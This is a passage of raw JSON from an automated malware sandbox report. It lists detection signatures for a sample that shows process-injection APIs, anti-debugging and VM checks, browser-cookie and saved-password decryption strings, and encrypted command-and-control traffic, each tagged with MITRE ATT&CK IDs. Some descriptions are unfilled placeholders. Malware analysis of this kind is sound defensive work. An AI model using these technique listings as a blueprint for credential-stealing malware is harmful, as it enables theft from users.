confidence","description":"\"Portable Executable (Cloud) Model\" detected file as \"dirty\" with \"medium\" confidence","origin":"Static Analysis","id":"mlmodel-17","sources":[{"report_type":"qsp","report_id":""}]},{"level":"informative","category":"Network Related","name":"Found string related to HTTP headers","description":"Found string \"HTTP/1.1M9\" (Indicator: \"HTTP/1.1\"; Source: \"sample.bin\"), Found string \"HTTP/1.0I9\" (Indicator: \"HTTP/1.0\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1071.001","id":"string-457","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"level":"informative","category":"System Security","name":"Contains ability to access device drivers","description":"Found string \"d\\Device\\Afd\\Mio\" (Indicator: \"\\Device\\\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1543.003","id":"string-474","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Able to compress/decompress content at runtime","description":"$25","origin":"File/Memory","mitre_attack_id":"T1560.002","relevance":1,"id":"string-935","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Able to inject code into another process (API string)","description":"$26","origin":"File/Memory","mitre_attack_id":"T1055","relevance":1,"id":"string-92","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Able to modify process memory (API string)","description":"Found reference to API \"VirtualAllocEx\" (Indicator: \"VirtualAllocEx\"; File: \"file\")\n Found reference to API \"CreateProcessW failedWriteProcessMemory failedCreateRemoteThread failedinjection failed (empty output)VirtualAllocEx failedVirtualAllocEx (init) failedread inject out: oR\" (Indicator: \"VirtualAllocEx\"; Source: \"00000000-00000700.00000000.194210.B5031000.00000002.mdmp\")\n Found reference to API \"VirtualAllocEx\" (Indicator: \"VirtualAllocEx\"; Source: \"00000000-00000700.00000000.194210.B5031000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1055.003","id":"string-439","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Able to modify thread functionality – possible hijack (API string)","description":"Found reference to API \"CreateRemoteThread\" (Indicator: \"CreateRemoteThread\"; File: \"file\")\n Found reference to API \"CreateProcessW failedWriteProcessMemory failedCreateRemoteThread failedinjection failed (empty output)VirtualAllocEx failedVirtualAllocEx (init) failedread inject out: oR\" (Indicator: \"CreateRemoteThread\"; Source: \"00000000-00000700.00000000.194210.B5031000.00000002.mdmp\")\n Found reference to API \"CreateRemoteThread\" (Indicator: \"CreateRemoteThread\"; Source: \"00000000-00000700.00000000.194210.B5031000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1055.003","relevance":3,"id":"string-309","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Calls an API typically used to load a resource in memory","description":"$27","origin":"API Call","mitre_attack_id":"T1106","relevance":3,"id":"api-139","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to create a remote thread (API string)","description":"Found reference to API \"CreateRemoteThread\" (Indicator: \"CreateRemoteThread\"; File: \"file\")\n Found reference to API \"CreateProcessW failedWriteProcessMemory failedCreateRemoteThread failedinjection failed (empty output)VirtualAllocEx failedVirtualAllocEx (init) failedread inject out: oR\" (Indicator: \"CreateRemoteThread\"; Source: \"00000000-00000700.00000000.194210.B5031000.00000002.mdmp\")\n Found reference to API \"CreateRemoteThread\" (Indicator: \"CreateRemoteThread\"; Source: \"00000000-00000700.00000000.194210.B5031000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1055.001","relevance":1,"id":"string-79","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to delay execution by waiting for signal/timeout (API string)","description":"$28","origin":"File/Memory","mitre_attack_id":"T1497.003","relevance":1,"id":"string-226","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to impersonate access tokens (API string)","description":"Found reference to API \"OpenProcessToken\" (Indicator: \"OpenProcessToken\"; File: \"file\")\n Found reference to API \"OpenProcessToken\" (Indicator: \"OpenProcessToken\"; Source: \"00000000-00000700.00000000.194210.B5031000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1134.001","relevance":1,"id":"string-306","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to load/free library (API string)","description":"$29","origin":"File/Memory","mitre_attack_id":"T1055.001","relevance":1,"id":"string-318","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to modify registry key/value (API string)","description":"Found reference to API \"RegSetValueExW\" (Indicator: \"RegSetValue\"; File: \"file\")\n Found reference to API \"RegSetValueExW\" (Indicator: \"RegSetValue\"; Source: \"00000000-00000700.00000000.194210.B5031000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1112","relevance":1,"id":"string-304","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to perform Base64 encoding/decoding","description":"$2a","origin":"File/Memory","mitre_attack_id":"T1132","relevance":1,"id":"string-338","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to use Cryptographic classes","description":"$2b","origin":"File/Memory","mitre_attack_id":"T1027","relevance":2,"id":"string-138","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Found PE header in memory","description":"Found PE header \"MZ\" - Source: \"00000000-00000700.00000000.194210.2FA40000.00000002.mdmp\")","origin":"Memory Dumps","mitre_attack_id":"T1055","relevance":1,"id":"memorydump-8","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Found virtual disk drive like strings","description":"Found string - exe\\\\.\\NULexit code:; Source: \"file\")\n Found string - \\#\\&\\)\\+\\\n\\.\\0\\2\\5\\6\\Y\\Z\\\\\\b\\c\\g\\h\\i\\m\\p\\t\\u\\z\\{\\|\\}\\; Source: \"00000000-00000700.00000000.194210.B5031000.00000002.mdmp\")\n Found string - exe\\\\.\\NULexit code:; Source: \"00000000-00000700.00000000.194210.B5031000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1564","relevance":1,"id":"string-145","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Observed a high volume of repeated registry API calls (API Hammering)","description":"\"file.exe\" (Access type: \"QUERYVAL\"; Path: \"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS NT\\CURRENTVERSION\\PERFLIB\")\n \"file.exe\" (Access type: \"OPEN\"; Path: \"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS NT\\CURRENTVERSION\\PERFLIB\")\n \"file.exe\" (Access type: \"OPEN\"; Path: \"HKLM\\SYSTEM\\CONTROLSET001\\SERVICES\")\n \"file.exe\" (Access type: \"OPEN\"; Path: \"HKLM\\SYSTEM\\CONTROLSET001\\SERVICES\\.NET CLR DATA\\PERFORMANCE\")\n \"file.exe\" (Access type: \"QUERYVAL\"; Path: \"HKLM\\SYSTEM\\CONTROLSET001\\SERVICES\\.NET CLR DATA\\PERFORMANCE\")\n \"file.exe\" (Access type: \"QUERY\"; Path: \"HKLM\\SYSTEM\\CONTROLSET001\\SERVICES\")\n \"file.exe\" (Access type: \"OPEN\"; Path: \"HKLM\\SYSTEM\\CONTROLSET001\\SERVICES\\.NET CLR DATA\\LINKAGE\")","origin":"Registry Access","mitre_attack_id":"T1497","relevance":7,"id":"registry-215","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Queries process information","description":"$2c","origin":"API Call","mitre_attack_id":"T1057","relevance":4,"id":"api-9","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"level":"informative","category":"Anti-Reverse Engineering","name":"Contains ability to check debugger is running (API string)","description":"Found reference to API \"OutputDebugStringW\" (Indicator: \"OutputDebugString\"; File: \"file\")\n Found reference to API \"QueryPerformanceCounter\" (Indicator: \"QueryPerformanceCounter\"; File: \"file\")\n Found reference to API \"OutputDebugStringA\" (Indicator: \"OutputDebugString\"; File: \"file\")\n Found reference to API \"IsDebuggerPresent\" (Indicator: \"IsDebuggerPresent\"; File: \"file\")\n Found reference to API \"GetTickCount\" (Indicator: \"GetTickCount\"; File: \"file\")\n Found reference to API \"NtQueryInformationProcess\" (Indicator: \"NtQueryInformationProcess\"; File: \"file\")\n Found reference to API \"GetTickCount64\" (Indicator: \"GetTickCount\"; File: \"file\")","origin":"File/Memory","mitre_attack_id":"T1622","relevance":1,"id":"string-183","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"level":"informative","category":"Anti-Reverse Engineering","name":"Contains ability to register a top-level exception handler (API string)","description":"Found reference to API \"UnhandledExceptionFilter\" (Indicator: \"UnhandledExceptionFilter\"; File: \"file\")\n Found reference to API \"SetUnhandledExceptionFilter\" (Indicator: \"SetUnhandledExceptionFilter\"; File: \"file\")\n Found reference to API \"SetUnhandledExceptionFilter\" (Indicator: \"UnhandledExceptionFilter\"; File: \"file\")","origin":"File/Memory","mitre_attack_id":"T1622","relevance":1,"id":"string-148","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"level":"informative","category":"Cryptographic Related","name":"Able to access crypto-related API (String)","description":"Found reference to API \"CryptUnprotectData\" (Indicator: \"CryptUnprotectData\"; File: \"file\")\n Found reference to API \"CryptUnprotectData failedsrc/internal/passwords/decrypt.rs\" (Indicator: \"CryptUnprotectData\"; File: \"file\")\n Found reference to API \"CryptUnprotectData failedsrc/internal/passwords/decrypt.rs\" (Indicator: \"CryptUnprotectData\"; Source: \"00000000-00000700.00000000.194210.B5031000.00000002.mdmp\")\n Found reference to API \"CryptUnprotectData\" (Indicator: \"CryptUnprotectData\"; Source: \"00000000-00000700.00000000.194210.B5031000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1486","relevance":1,"id":"string-920","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"level":"informative","category":"Cryptographic Related","name":"Able to use Microsoft's Enhanced Cryptographic Provider","description":"$2d","origin":"File/Memory","mitre_attack_id":"T1573","relevance":1,"id":"string-602","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains XOR operation loops [Stream disassembly]","description":"$2e","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1027.005","id":"stream-139","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains ability to perform AES/RC4 encryption (API string)","description":"Found reference to API \"CertEnumCertificatesInStore\" (Indicator: \"CertEnumCertificatesInStore\"; File: \"file\")\n Found reference to API \"CertCloseStore\" (Indicator: \"CertCloseStore\"; File: \"file\")\n Found reference to API \"CertFreeCertificateContext\" (Indicator: \"CertFreeCertificateContext\"; File: \"file\")\n Found reference to API \"CryptUnprotectData\" (Indicator: \"CryptUnprotectData\"; File: \"file\")\n Found reference to API \"CryptUnprotectData failedsrc/internal/passwords/decrypt.rs\" (Indicator: \"CryptUnprotectData\"; File: \"file\")","origin":"File/Memory","mitre_attack_id":"T1027","relevance":3,"id":"string-438","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains ability to perform decryption (API string)","description":"Found reference to API \"CryptUnprotectData\" (Indicator: \"CryptUnprotectData\"; File: \"file\")\n Found reference to API \"CryptUnprotectData failedsrc/internal/passwords/decrypt.rs\" (Indicator: \"CryptUnprotectData\"; File: \"file\")\n Found reference to API \"CryptUnprotectData failedsrc/internal/passwords/decrypt.rs\" (Indicator: \"CryptUnprotectData\"; Source: \"00000000-00000700.00000000.194210.B5031000.00000002.mdmp\")\n Found reference to API \"CryptUnprotectData\" (Indicator: \"CryptUnprotectData\"; Source: \"00000000-00000700.00000000.194210.B5031000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1140","relevance":1,"id":"string-212","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains key cryptographic functions (API string)","description":"Found reference to API \"CryptUnprotectData\" (Indicator: \"CryptUnprotectData\"; File: \"file\")\n Found reference to API \"CryptUnprotectData failedsrc/internal/passwords/decrypt.rs\" (Indicator: \"CryptUnprotectData\"; File: \"file\")","origin":"File/Memory","mitre_attack_id":"T1027","relevance":1,"id":"string-195","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains possible references to Golang crypto modules","description":"$2f","origin":"File/Memory","mitre_attack_id":"T1486","relevance":1,"id":"string-234","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains reference to crypto DLLs","description":"Found string \":\\WINDOWS\\SYSTEM32\\MSVCP140.dll\" (Indicator: \"\\msvcp140.dll\"; Source: \"00000000-00000700.00000000.194210.2D4D0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1486","relevance":1,"id":"string-493","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains reference to cryptographic keys","description":"$30","origin":"File/Memory","mitre_attack_id":"T1486","relevance":1,"id":"string-280","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"level":"informative","category":"Cryptographic Related","name":"HTTP requests contain Base64 strings","description":"$31","origin":"Network Traffic","mitre_attack_id":"T1132","relevance":1,"id":"network-60","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"level":"informative","category":"Cryptographic Related","name":"Imports crypto-related APIs","description":"Observed import api \"CryptUnprotectData\" which can \"perform decryption and does an integrity check of the data\" [Source: file]\n Observed import api \"CryptUnprotectData\" which can \"perform decryption and does an integrity check of the data\" [Source: installer.exe]","origin":"Static Parser","mitre_attack_id":"T1486","relevance":1,"id":"static-82","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"level":"informative","category":"Cryptographic Related","name":"Shows ability to deobfuscate/decode files or information","description":"The analysis shows use of encryption and can be used to decode file or information. Matched sigs: Contains ability to perform Base64 encoding/decoding\n Matched sigs: HTTP requests contain Base64 strings\n Matched sigs: Contains XOR operation loops [Stream disassembly]\n Matched sigs: YARA signature match - AES encryption","origin":"Indicator Combinations","mitre_attack_id":"T1140","relevance":1,"id":"summary-32","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"level":"informative","category":"Cryptographic Related","name":"Shows ability to obfuscate file or information","description":"$32","origin":"Indicator Combinations","mitre_attack_id":"T1027","relevance":1,"id":"summary-28","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"level":"informative","category":"Cryptographic Related","name":"Shows ability to use encryption for command and control traffic","description":"The analysis shows use of encryption\n use of http/https that can be used to send encrypted data on command and control server. Matched sigs: Contains XOR operation loops [Stream disassembly]\n Matched sigs: YARA signature match - AES encryption","origin":"Indicator Combinations","mitre_attack_id":"T1573.001","relevance":1,"id":"summary-31","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"level":"informative","category":"Cryptographic Related","name":"XOR operations in executable file detected","description":"details too long to display","origin":"Binary File","mitre_attack_id":"T1027.005","id":"binary-92","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"level":"informative","category":"Environment Awareness","name":"Able to detect virtual machine (string)","description":"$33","origin":"File/Memory","mitre_attack_id":"T1497","relevance":1,"id":"string-989","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"level":"informative","category":"Environment Awareness","name":"Able to enumerate disk drives (API string)","description":"Found reference to API \"GetDriveTypeW\" (Indicator: \"GetDriveTypeW\"; File: \"file\")\n Found reference to API \"GetDriveTypeW\" (Indicator: \"GetDriveTypeW\"; Source: \"00000000-00000700.00000000.194210.B5031000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1680","relevance":5,"id":"string-998","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"level":"informative","category":"Environment Awareness","name":"Able to enumerate system processes using native API","description":"Found reference to API \"NtQuerySystemInformation\" (Indicator: \"NtQuerySystemInformation\"; File: \"file\")\n Found reference to API \"NtQuerySystemInformationW\" (Indicator: \"NtQuerySystemInformation\"; Source: \"00000000-00001552-00000C2C-2049507079\")\n Found reference to API \"NtQuerySystemInformation\" (Indicator: \"NtQuerySystemInformation\"; Source: \"00000000-00000700.00000000.194210.B5031000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1057","relevance":1,"id":"string-907","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"level":"informative","category":"Environment Awareness","name":"Able to gather system information (.NET)","description":"Found string \"etUserNameW\" (Source: \"00000000-00000700.00000000.194210.2D4D0000.00000004.mdmp\")\n Found string \"etUserNameA\" (Source: \"00000000-00000700.00000000.194210.2D4D0000.00000004.mdmp\")\n Found string \"etUserNameExW\" (Source: \"00000000-00000700.00000000.194210.2D4D0000.00000004.mdmp\")\n Found string \"etUserNameExA\" (Source: \"00000000-00000700.00000000.194210.2D4D0000.00000004.mdmp\")\n Found string \"The credential consists of both Password and UserName being supplied together in a pair.\" (Source: \"00000000-00000700.00000000.194210.2FA40000.00000002.mdmp\")\n Found string \"VPN.UserName=\" (Source: \"00000000-00000700.00000000.194210.2FA40000.00000002.mdmp\")\n Found string \"providerFilter=Yes VPN.UserName=\"UserXXX\"\" (Source: \"00000000-00000700.00000000.194210.2FA40000.00000002.mdmp\")\n Found string \"GetUserNameW\" (Source: \"00000000-00000700.00000000.194210.B5031000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-937","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"level":"informative","category":"Environment Awareness","name":"Able to identify virtual environment by using API string","description":"Found string \"NtQuerySystemInformation\" (Indicator: \"NtQuerySystemInformation\"; File: \"file\")\n Found string \"NtQuerySystemInformationW\" (Indicator: \"NtQuerySystemInformation\"; Source: \"00000000-00001552-00000C2C-2049507079\")\n Found string \"NtQuerySystemInformation\" (Indicator: \"NtQuerySystemInformation\"; Source: \"00000000-00000700.00000000.194210.B5031000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1497.001","relevance":1,"id":"string-659","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"level":"informative","category":"Environment Awareness","name":"Able to identify virtual environment by using user activity (API string)","description":"Found string \"GetCommandLineW\" (Indicator: \"GetCommandLine\"; File: \"file\")\n Found string \"GetCommandLineA\" (Indicator: \"GetCommandLine\"; File: \"file\")\n Found string \"GetCommandLineA\" (Indicator: \"GetCommandLine\"; Source: \"00000000-00000700.00000000.194210.B5031000.00000002.mdmp\")\n Found string \"GetCommandLineW\" (Indicator: \"GetCommandLine\"; Source: \"00000000-00000700.00000000.194210.B5031000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1497.002","relevance":1,"id":"string-661","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"level":"informative","category":"Environment Awareness","name":"Able to perform scheduled transfer (API string)","description":"Found reference to API \"GetSystemTime\" (Indicator: \"GetSystemTime\"; File: \"file\")\n Found reference to API \"GetSystemTime\" (Indicator: \"GetSystemTime\"; Source: \"00000000-00000700.00000000.194210.B5031000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1029","relevance":1,"id":"string-365","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"level":"informative","category":"Environment Awareness","name":"Able to query security token membership for user discovery (API string)","description":"Found reference to API \"AllocateAndInitializeSid\" (Indicator: \"AllocateAndInitializeSid\"; Source: \"00000000-00001552-00000C2C-2047819590\")\n Found reference to API \"FreeSid\" (Indicator: \"FreeSid\"; Source: \"00000000-00001552-00000C2C-2047820205\")\n Found reference to API \"CheckTokenMembership\" (Indicator: \"CheckTokenMembership\"; Source: \"00000000-00001552-00000C2C-2050119123\")\n Found reference to API \"CheckTokenMembershipW\" (Indicator: \"CheckTokenMembership\"; Source: \"00000000-00001552-00000C2C-2050119147\")","origin":"File/Memory","mitre_attack_id":"T1033","relevance":1,"id":"string-908","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"level":"informative","category":"Environment Awareness","name":"Able to query system locale information (API string)","description":"Found reference to API \"EnumSystemLocalesW\" (Indicator: \"EnumSystemLocales\"; File: \"file\")\n Found reference to API \"GetUserDefaultLCID\" (Indicator: \"GetUserDefaultLCID\"; File: \"file\")\n Found reference to API \"GetLocaleInfoW\" (Indicator: \"GetLocaleInfo\"; File: \"file\")\n Found reference to API \"GetLocaleInfoEx\" (Indicator: \"GetLocaleInfo\"; File: \"file\")","origin":"File/Memory","mitre_attack_id":"T1614","relevance":1,"id":"string-201","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"level":"informative","category":"Environment Awareness","name":"Able to query volume/memory size (API string)","description":"$34","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-193","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"level":"informative","category":"Environment Awareness","name":"Able to retrieve browser cookies data","description":"file/memory contains long string with (Indicator: \"moz_cookies\"; File: \"MGCjDjrNEZfd\")\n file/memory contains long string with (Indicator: \"/cookies\"; File: \"background.ts-D6ogNSgd.js\")\n Found string \"/api/v1/ext/cookies\" (Indicator: \"/cookies\"; File: \"PCAP\")\n file/memory contains long string with (Indicator: \"/cookies\"; File: \"PCAP\")","origin":"File/Memory","mitre_attack_id":"T1539","relevance":1,"id":"string-5058","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"level":"informative","category":"Environment Awareness","name":"Able to retrieve geographical location information","description":"Found reference to API \"getaddrinfo\" (Indicator: \"getaddrinfo\"; File: \"file\")\n Found reference to API \"getaddrinfo\" (Indicator: \"getaddrinfo\"; Source: \"00000000-00000700.00000000.194210.B5031000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-739","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"level":"informative","category":"Environment Awareness","name":"Able to retrieve information about the current system (API string)","description":"$35","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-89","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"level":"informative","category":"Environment Awareness","name":"Able to retrieve machine time (API string)","description":"Found reference to API \"GetSystemTime\" (Indicator: \"GetSystemTime\"; File: \"file\")\n Found reference to API \"GetSystemTime\" (Indicator: \"GetSystemTime\"; Source: \"00000000-00000700.00000000.194210.B5031000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1124","relevance":1,"id":"string-247","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"level":"informative","category":"Environment Awareness","name":"Able to visualize and control listed components (API string)","description":"file/memory contains long string with (Indicator: \"sendmessage\"; File: \"content.ts-B6XGI__y.js\")\n Found reference to API \"EnumWindows\" (Indicator: \"enumwindows\"; Source: \"00000000-00001552-00000C2C-2049390285\")\n Found reference to API \"EnumWindowsW\" (Indicator: \"enumwindows\"; Source: \"00000000-00001552-00000C2C-2049390311\")","origin":"File/Memory","mitre_attack_id":"T1055.015","relevance":1,"id":"string-721","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"level":"informative","category":"Environment Awareness","name":"Attempts to call APIs commonly associated with anti-analysis and evasion techniques","description":"\"powershell.exe\" called \"GetTickCount\" with parameters (UID: 00000000-00001552)","origin":"API Call","mitre_attack_id":"T1497","relevance":3,"id":"api-296","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"level":"informative","category":"Environment Awareness","name":"Attempts to call APIs to gather system and hardware detail","description":"\"file.exe\" called \"GetComputerNameExW\" with parameters (UID: 00000000-00000700)\n \"file.exe\" called \"GetSystemInfo\" with parameters (UID: 00000000-00000700)\n \"file.exe\" called \"GlobalMemoryStatusEx\" with parameters (UID: 00000000-00000700)\n \"file.exe\" called \"GetDiskFreeSpaceExW\" with parameters (UID: 00000000-00000700)\n \"file.exe\" called \"GetSystemMetrics\" with parameters (UID: 00000000-00000700)\n \"powershell.exe\" called \"GetSystemInfo\" with parameters (UID: 00000000-00001552)","origin":"API Call","mitre_attack_id":"T1082","relevance":3,"id":"api-294","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"level":"informative","category":"Environment Awareness","name":"Attempts to invoke APIs commonly associated with credential theft and data exfiltration functionality","description":"\"file.exe\" called \"NtQueryInformationToken\" with parameters (UID: 00000000-00000700)","origin":"API Call","mitre_attack_id":"T1003","relevance":3,"id":"api-297","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"level":"informative","category":"Environment Awareness","name":"Calls APIs used for find file/directory path","description":"Observed import api PathFindFileName (Source: sysdropfa.exe)","origin":"Static Parser","mitre_attack_id":"T1083","relevance":1,"id":"static-183","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to enumerate active windows","description":"\"powershell.exe\" called \"EnumWindows\" with parameter \"0\" - (UID: 00000000-00001552)","origin":"API Call","mitre_attack_id":"T1010","relevance":3,"id":"api-152","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to get product type","description":"\"file.exe\" called \"RtlGetNtProductType\" with parameter 01000000 (UID: 00000000-00000700)\n \"powershell.exe\" called \"RtlGetNtProductType\" with parameter 01000000 (UID: 00000000-00001552)","origin":"API Call","mitre_attack_id":"T1082","relevance":3,"id":"api-124","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to get system version information","description":"$36","origin":"API Call","mitre_attack_id":"T1082","relevance":3,"id":"api-125","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to retrieve OS information","description":"\"powershell.exe\" called \"GetVersionExA\" with parameter 940000000a00000000000000ab3f00000200000000006f006e0000005c004d006900630072006f0073006f00660074002e004e00450054005c004600720061006d00650077006f0072006b00360034005c00760034002e0030002e00330030003300310039005c0063006f006e006600690067005c006d00020000025f53000000b5c904980100005001c9049801000067000000 (UID: 00000000-00001552)","origin":"API Call","mitre_attack_id":"T1082","relevance":2,"id":"api-222","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to retrieve account information for specified SID","description":"\"powershell.exe\" called \"LookupAccountSidW\" with param Name NETWORK SERVICE (UID: 00000000-00001552)","origin":"API Call","mitre_attack_id":"T1033","relevance":3,"id":"api-148","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to retrieve local language","description":"\"powershell.exe\" called \"GetLocaleInfoW\" with parameter \"9\" - (UID: 00000000-00001552)","origin":"API Call","mitre_attack_id":"T1614","relevance":3,"id":"api-147","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API used to retrieve geographical location information","description":"Observed import api \"getaddrinfo\" which can be \"used to convert host name to address\" [Source: file]\n Observed import api \"getaddrinfo\" which can be \"used to convert host name to address\" [Source: 205792_clip.exe.part]\n Observed import api \"getaddrinfo\" which can be \"used to convert host name to address\" [Source: installer.exe]","origin":"Static 